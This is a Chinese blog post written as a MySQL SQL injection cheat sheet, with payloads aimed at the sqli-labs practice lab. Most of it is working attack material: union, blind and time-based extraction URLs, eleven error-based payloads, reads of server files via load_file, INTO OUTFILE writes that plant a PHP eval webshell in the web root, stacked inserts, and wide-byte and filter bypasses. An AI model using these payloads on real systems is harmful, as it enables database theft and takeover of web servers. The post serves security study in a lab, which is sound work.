mysql注入介绍

0. SQL注入常用的尝试语句:

or 1=1--+

'or 1=1--+ 

"or 1=1--+

)or 1=1--+

')or 1=1--+

") or 1=1--+

"))or 1=1--+

Ps:--+可以用#替换,url提交过程中Url编码后的#为%23

 

1. 攻击目的和步骤:

1.1.  目的:

system_user() 系统用户名 user() 用户名 

current_user 当前用户名 

session_user()连接数据库的用户名 database() 数据库名 

version() MYSQL数据库版本 

load_file() MYSQL读取本地文件的函数 

@@datadir 读取数据库路径 

@@basedir MYSQL 安装路径 

@@version_compile_os 操作系统

1.2 猜数据库

随便编一个不存在的函数,通过报错,得到库名。

select schema_name from information_schema.schemata

union查询:

1admin'union select 1,database()#

select group_concat(schema_name) from information_schema.schemata

暴力破解数据库名(报错/延时/堆叠等等注入方式):

http://127.0.0.1/sqllib/Less-9/?id=1%27and%20If(ascii(substr(database(),1,1))=115,1,sleep(5))--+

uname=admin')and left(database(),1)>'a'#&passwd=1&submit=Submit

1.2 列出某个库当中所有的表

select group_concat(table_name) from information_schema.tables where table_schema='xxxxx'

select table_name from information_schema.tables where table_schema='xxxxx'

select id,group_concat(name) from aa group by id;

以id分组,把id相同的name字段的值打印在一行,逗号分隔(默认)

1.3 暴力破解某个库中的表名:

http://127.0.0.1/sqllib/Less-9/?id=1'and If(ascii(substr((select table_name from information_schema.tables where table_schema='security' limit 0,1),1,1))=101,1,sleep(5))--+

1.4 猜某表的所有列

Select column_name from information_schema.columns where table_name='xxxxx'

1.5 暴力破解某表的列:

http://127.0.0.1/sqllib/Less-9/?id=1'and If(ascii(substr((select column_name from information_schema.columns where table_name='users' limit 0,1),1,1))=105,1,sleep(5))--+

获取某列的内容

Select *** from ****

暴力破解某个值:

http://127.0.0.1/sqllib/Less-9/?id=1'and If(ascii(substr((select username from users limit 0,1),1,1))=68,1,sleep(5))--+

 

2. SQL注入的分类:

2.1·基于从服务器接收到的响应:

     基于错误的SQL注入

     联合查询的类型

     堆查询注射

     SQL盲注:

     何为盲注?盲注就是在sql注入过程中,sql语句执行的选择后,选择的数据不能回显到前端页面。此时,我们需要利用一些方法进行判断或者尝试,这个过程称之为盲注

     基于布尔的SQL盲注——构造逻辑判断:

             /0x3a是":"的十六进制

           I select * from users where id=1 and 1=(if((user() regexp '^r'),1,0));

           II select * from users where id=1 and 1=(user() regexp'^ri');

            通过if语句的条件判断,返回一些条件句,比如if等构造一个判断。根据返回结果是否等于0或者1进行判断。

           III select * from users where id=1 and 1=(select 1 from information_schema.tables where table_schema='security' and table_name regexp '^us[a-z]' limit 0,1);

            这里利用select构造了一个判断语句。我们只需要更换regexp表达式即可

     基于时间的SQL盲注——延时注入

     BENCHMARK():判断一条语句的执行速度。

     If(ascii(substr(database(),1,1))>115,0,sleep(5))%23  //if判断语句,条件为假,执行sleep,爆数据库。

     这里的%23会被转义成注释符#。

     基于报错的SQL盲注——构造payload让信息通过错误提示回显出来。

     十余种mysql报错注入:

     参考:https://www.msfcode.com/2016/10/11/%E3%80%90sql%E6%B3%A8%E5%85%A5%E3%80%91mysql%E5%8D%81%E7%A7%8D%E6%8A%A5%E9%94%99%E6%B3%A8%E5%85%A5%E6%96%B9%E5%BC%8F/                                                   

第一种:floor():

POC:

Id = 1 And 1=(select * from (select count(*),concat((任何SQL语句),floor(rand(0)*2))x from information_schema.tables group by x)a)

EXP:

select * from user where username=root and (select * from (select count(*),concat((select user()),floor(rand(0)*2))x from information_schema.tables group by x)a);

这里的x和a都是别名,因为GROUP BY应该通过聚合来处理重复的条目,如果出现重复的字段,这个时候就会报错;

参考:

http://www.webhack.me/2017/10/04/mysql%E6%8A%A5%E9%94%99%E6%B3%A8%E5%85%A5/

简化形式:

select count(*) from information_schema.tables group by concat(version(),floor(rand(0)*2))

如果关键的表被禁用了,可以使用这种形式

select count(*) from (select 1 union select null union select !1) group by concat(version(),floor(rand(0)*2)) 

如果rand被禁用了可以使用用户变量来报错

select min(@a:=1) from information_schema.tables group by concat(password,@a:=(@a+1)%2)

注:mysql自定义变量详解:https://www.cnblogs.com/genialx/p/5932558.html

select user()查看当前用户,mysql基本操作详解:

http://wiki.jikexueyuan.com/project/linux/mysql.html

第二种:extractvalue()

POC:

and 1=(extractvalue(1,concat(0x7e,(任意SQL语句),0x7e)))

EXP:

①select * from user where user=’root’ and (extractvalue(1,concat(0x7e,(select user()),0x7e)));

 

②id = 1 and (extractvalue(1,concat(0x5c,(select user()))))

利用输入错误的xpath条件,得到当前用户名,当然,这里非user()可以换成其他的你想要得到的信息。

EXTRACTVALUE (XML_document, XPath_string); 

第一个参数:XML_document是String格式,为XML文档对象的名称,文中为Doc 

第二个参数:XPath_string (Xpath格式的字符串). 

作用:从目标XML中返回包含所查询值的字符串

0x5c在ASCII码中是”/”的十六进制表示。

 

第三种:updatexml()

POC:

and 1= (updatexml(1,concat(0x7e,(SQL语句),0x7e),1))

EXP:

Id = 1 AND (updatexml(1,concat(0x5e24,(select user()),0x5e24),1))

利用输入错误的xpath条件,得到当前用户名,当然,这里非user()可以换成其他的你想要得到的信息。

0x5e24是ASCII码。

UPDATEXML (XML_document, XPath_string, new_value); 

第一个参数:XML_document是String格式,为XML文档对象的名称,文中为Doc 

第二个参数:XPath_string (Xpath格式的字符串) ,如果不了解Xpath语法,可以在网上查找教程。 

第三个参数:new_value,String格式,替换查找到的符合条件的数据 

作用:改变文档中符合条件的节点的值

 

第四种:GeometryCollection()

POC:

ID=1 and 1=(geometrycollection((select * from(select * from (任意SQL语句)a)b)))

EXP:

Id = 1 AND GeometryCollection((select * from(select * from(select user()) a)b))

GeometryN(gc,n)

返回GeometryCollection值gc中第n个几何对象。几何对象的编号从1开始。

 

第五种:Polygon()

POC:

and 1=(polygon((select * from(select * from(任意SQL语句)a)b)))

EXP:

Id = 1 AND polygon((select * from(select * from(select user())a)b))

 

第六种:Multipoint()

POC:

Id = 1 and 1=(multipoint((select * from(select * from(任意SQL语句)a)b)))

EXP:

select * from user where user=’root’ and (multipoint((select * from(select * from(select user())a)b)));

 

第七种:Mutilinestring()

 

POC:

Id = 1 and 1=(multilinestring((select * from(select * from(任意SQL语句)a)b)))

EXP:

select * from user where user=’root’ and (multilinestring((select * from(select * from(select user())a)b)));

 

第八种:Multipolygon()报错

POC:

Id = 1 and 1=(multipolygon((select * from(select * from (任意SQL语句)a)b)))

EXP:

select * from user where user=’root’ and (multipolygon((select * from(select * from(select user())a)b)));

 

第九种:Linestring()报错

POC:

and 1=(linestring((select * from(select * from (任意SQL语句)a)b)))

EXP:

select * from user where user=’root’ and (linestring((select * from(select * from(select user())a)b)));

 

第十种:EXP()报错

POC:

and 1= (EXP(~(select * from(任意SQL语句)a)))

EXP:

select * from user where user=’root’ and (EXP(~(select * from(select user())a)));

 

第十一种:NAME_CONST(适用于低版本)

POC:

and (select * from (select NAME_CONST(SQL语句,1),NAME_CONST(SQL语句,1))

EXP:

select * from user where user=’root’ and (select * from (select NAME_CONST(version(),1),NAME_CONST(version(),1))

    

2.2 基于如何处理输入的SQL查询(数据类型):

 

     基于字符串

 

     数字或整数为基础

 

2.3 基于程度和顺序的注入(哪里发生了影响):

 

     一阶注射:直接对web产生了影响

 

     二阶注射:通过其他的辅助间接的对web产生危害。

 

2.4 基于注入点的位置上的:

 

     通过用户输入的表单域的注射(在后面的绕过mysql_real_escape_string()函数,存储型注入中有案例)。

 

     通过cookie注射

 

     通过服务器变量注射(user-agent,refer。等)

 

 

3. 常用的函数:

3.l  left(database(),1)>'             //left()函数

Explain:database()显示数据库名称,left(a,b)从左侧截取a的前b位

Poc:

http://127.0.0.1/sqllib/Less-5/?id=1%27and%20left(version(),1)=5%23

http://127.0.0.1/sqllib/Less-5/?id=1%27and%20length(database())=8%23

http://127.0.0.1/sqllib/Less-5/?id=1%27and%20left(database(),1)%3E%27a%27--+

http://127.0.0.1/sqllib/Less-5/?id=1%27and%20left(database(),2)%3E%27sa%27--+

注:在mysql中,=号是比较运算符,:=是赋值运算符。

3.2  ascii(substr((select table_name information_schema.tables where tables_schema=database()limit 0,1),1,1))=101 --+        //substr()函数,ascii()函数

Explain:substr(a,b,c)从b位置开始,截取字符串a的c长度。Ascii()将某个字符转换为ascii值。

Poc:

http://127.0.0.1/sqllib/Less-5/?id=1%27and%20ascii(substr((select%20table_name%20from%20information_schema.tables%20where%20table_schema=database()%20limit%200,1),1,1))%3E80--+

获取第二个表:

http://127.0.0.1/sqllib/Less-5/?id=1%27and%20ascii(substr((select%20table_name%20from%20information_schema.tables%20where%20table_schema=database()%20limit%201,1),1,1))%3E113--+

基于布尔型报错注入:

ascii(substr((select database()),1,1))=98

3.3  ORD(MID((SELECT IFNULL(CAST(username AS CHAR),0x20)FROM security.users ORDER BY id LIMIT 0,1),1,1))>98%23               //ORD()函数,MID()函数

Explain:mid(a,b,c)从位置b开始,截取a字符串的c位

    Ord()函数同ascii(),将字符转为ascii值

    Poc:

    http://127.0.0.1/sqllib/Less-5/?id=1%27%20and%20ORD(MID((SELECT%20IFNULL(CAST(username%20AS%20CHAR),0x20)FROM%20security.users%20ORDER%20BY%20id%20LIMIT%200,1),1,1))=68--+

3.4  regexp正则注入

正则注入介绍:http://www.cnblogs.com/lcamry/articles/5717442.html

用法介绍:select user() regexp '^[a-z]';

Explain:正则表达式的用法,user()结果为root,regexp为匹配root的正则表达式。

第二位可以用select user() regexp '^ro'来进行。

Poc:

http://127.0.0.1/sqllib/Less-5/?id=1%27%20and%201=(select%201%20from%20information_schema.columns%20where%20table_name=%27users%27%20and%20table_name%20regexp%20%27^us[a-z]%27%20limit%200,1)--+

3.5  like匹配注入:

使用方法与正则注入相似。

其实这些重复性的尝试完全通过一个脚本来实现。

3.6  Mysql limit用法(只有两个参数,第一个为偏移量,第二个为最大检索数,可省略):

SELECT * FROM table LIMIT 5,10;  

检索记录6-15条。

SELECT * FROM table LIMIT 95,-1; 

检索记录96-最后一条

SELECT * FROM table LIMIT 5; 

尝试语句:

 

 

4. 导入导出介绍:

4.1使用Load_file(file_name):读取文件并返回该文件的内容作为一个字符串。

使用条件:

 

A、必须有权限读取并且文件必须完全可读

and (select count(*) from mysql.user)>0/* 如果结果返回正常,说明具有读写权限。

and (select count(*) from mysql.user)>0/* 返回错误,应该是管理员给数据库帐户降权

 

B、欲读取文件必须在服务器上

 

C、必须指定文件完整的路径

 

D、欲读取文件必须小于 max_allowed_packet

为了找到注入的绝对路径,可以构造有效的畸形语句(报错爆出绝对路径)。

在很多PHP程序中,当提交一个错误的Query,如果display_errors = on,程序就会暴露WEB目录的绝对路径,只要知道路径,那么对于一个可以注入的PHP程序来说,整个服务器的安全将受到严重的威胁。

常用的路径有:

http://www.cnblogs.com/lcamry/p/5729087.html

poc:

-1 union select 1,1,1,load_file(char(99,58,47,98,111,111,116,46,105,110,105))

4.2 将文件导入带数据库:

LOAD DATA INFILE语句用于高速地从一个文本文件中读取行,并装入一个表中。文件名称必须为一个文字字符串。

在注入过程中,我们往往需要一些特殊的文件,比如配置文件,密码文件等。当你具有数据库的权限时,可以将系统文件利用load data infile导入到数据库中。

Poc:

load data infile '/tmp/t0.txt' ignore into table t0 character set gbk fields terminated by '\t' lines terminated by '\n'

将/tmp/t0.txt导入到t0表中,character set gbk是字符集设置为gbk,fields terminated by是每一项数据之间的分隔符,lines terminated by 是行的结尾符。

 

当错误代码是2的时候的时候,文件不存在,错误代码为13的时候是没有权限,可以考虑/tmp等文件夹。

4.3  导入到文件:

SELECT.....INTO OUTFILE 'file_name'

可以把被选择的行写入一个文件中。该文件被创建到服务器主机上,因此您必须拥有FILE权限,才能使用此语法。file_name不能是一个已经存在的文件。

 

我们一般有两种利用形式:

 

第一种直接将select内容导入到文件中:

 

Select version() into outfile "c:\\phpnow\\htdocs\\test.php"

 

此处将version()替换成一句话,<?php @eval($_post["mima"])?>也即

 

Select <?php @eval($_post["mima"])?> into outfile "c:\\phpnow\\htdocs\\test.php"

 

直接连接一句话就可以了,其实在select内容中不仅仅是可以上传一句话的,也可以上传很多的内容。

 

第二种修改文件结尾:

Select version() Into outfile "c:\\phpnow\\htdocs\\test.php" LINES TERMINATED BY 0x16进制文件(这个语句可以被用来上传网马)。

解释:通常是用'\r\n'结尾,此处我们修改为自己想要的任何文件。同时可以用FIELDS TERMINATED BY                

16进制可以为一句话或者其他任何的代码,可自行构造(后面在介绍针对order by位置的注入时有具体的案例)。在sqlmap中os-shell采取的就是这样的方式,具体可参考os-shell分析文章:http://www.cnblogs.com/lcamry/p/5505110.html

 

上述我们提到了load_file(),但是当前台无法导出数据的时候,我们可以利用下面的语句:

select load_file('c:\\wamp\\bin\\mysql\\mysql5.6.17\\my.ini')into outfile 'c:\\wamp\\www\\test.php'

之后再使用中国菜刀,就可以取得一个网站的完整的权限。

 

5. 存储式SQL注入,例如:注册一个admin’#的用户,之后修改它的密码,实际上就有可能会修改了admin的密码。

 

 

6. 堆叠注入:

 

在mysql数据库中,使用“;”号会。顺序执行多条语句,这一点可以被利用实现堆叠注入。

 

Poc:

 

http://127.0.0.1/sqli-labs/Less-39/index.php?id=1;insert%20into%20users(id,username,password)%20values%20(%2739%27,%27less39%27,%27hello%27)--+

 

http://127.0.0.1/sqli-labs/Less-40/index.php?id=1%27);%20insert%20into%20users(id,username,password)%20values%20(%27109%27,%27hello%27,%27hello%27)%23

 

 

7. 防御:

7.1 PHP mysql_real_escape_string() 函数,   

注:(通过宽字节或则”’”的十六进制数绕过。

 

"\"的ASCII码是"\x5c","'"的ASCII码是"\x27","""的ASCII码是"\x22"只要在前面或者后面再组合一个十六进制码使之能构成一个汉字码就可以实现宽字符注入了(可以利用这个规则编写程序找到可以吃掉过滤符号的十六进制字节码)。

 

>>> str6 = "�'"

>>> str6.encode('utf-8')

b"\xef\xbf\xbd'")

http://www.w3school.com.cn/php/func_mysql_real_escape_string.asp

但是,如果:

在使用mysql_real_escape_string()时,将mysql设置为gbk即可防御这种攻击。

但是,如果在存入数据的时候过滤,但是在查询时没有过滤,那么可以在查询的时候通过堆叠注入实现注入。

设置代码:

 Mysql_set_charset('gbk','$conn')

7.2 stripslashes()

7.3 addslashes() //可以通过宽字节绕过。

7.4 绕过and,or过滤。

大小写变形 Or,OR,oR

编码,hex,urlencode

添加注释/*or*/

利用符号 and=&& or=||

 

8. 在order by之后注入:

前面提到的注入位置基本都是在where之后的,在order by之后也是可以注入的。

Order by之后的注入有三种方式:

②  直接添加注入语句,?sort=(select ******)

②利用一些函数。例如rand()函数等。?sort=rand(sql语句)

③  利用and,例如?sort=1 and (加sql语句)。

 

同时,sql语句可以利用报错注入和延时注入的方式,语句我们可以很灵活的构造。

Poc:

http://127.0.0.1/sqli-labs/Less-46/?sort=(select%20count(*)%20from%20information_schema.columns%20group%20by%20concat(0x3a,0x3a,(select%20user()),0x3a,0x3a,floor(rand()*2)))

使用rand()函数(因为直接注入的数字在order by之后是无效的)。

http://127.0.0.1/sqli-labs/Less-46/?sort=rand(ascii(left(database(),1))=115)

http://127.0.0.1/sqli-labs/Less-46/?sort=rand(ascii(left(database(),1))=116)

rand(true)he rand(false)的执行结果是不同的。

延时注入例子

 

http://127.0.0.1/sqli-labs/Less-46/?sort=%20(SELECT%20IF(SUBSTRING(current,1,1)=CHAR(115),BENCHMARK(50000000,md5(%271%27)),null)%20FROM%20(select%20database()%20as%20current)%20as%20tb1)

 

http://127.0.0.1/sqllib/Less-46/?sort=1%20and%20If(ascii(substr(database(),1,1))=116,0,sleep(5))

 

procedure analyse参数后注入

利用procedure analyse参数,我们可以执行报错注入。同时,在procedure analyse和order by之间可以存在limit参数,我们在实际应用中,往往也可能会存在limit后的注入,可以利用procedure analyse进行注入。

 

以下为示范例

 

http://127.0.0.1/sqli-labs/Less-46/?sort=1%20%20procedure%20analyse(extractvalue(rand(),concat(0x3a,version())),1)

 

导入导出文件:

http://127.0.0.1/sqllib/Less-46/?sort=1%20into%20outfile%20%22c:\\wamp\\www\\sqllib\\test1.txt%22

 

利用利用lines terminated by上传网马,网马进行十六进制转换

http://127.0.0.1/sqllib/Less-49/?sort=1%27into%20outfile%20%22c:\\wamp\\www\\sqllib\\test.php%22%20lines%20terminated%20by%200x3c3f70687020706870696e666f28293b3f3e2020--+

 

将十六进制的字符串转换成能看懂的字符串:

0x3c3f70687020706870696e666f28293b3f3e2020

>>> str1=b'3c3f70687020706870696e666f28293b3f3e2020'

>>> binascii.a2b_hex(str1)

b'<?php phpinfo();?>  '

 

相关的操作:

import binascii

def hex2char(data):

#    binascii.a2b_hex(hexstr)

    output = binascii.unhexlify(data)

    print(output)

 

def char2hex(data):

    data = b'data'

#    binascii.b2a_hex(data)

    output = binascii.hexlify(data)

print(output)

posted on 2018-02-07 18:03  zhang293  阅读(627)  评论(0编辑  收藏  举报

导航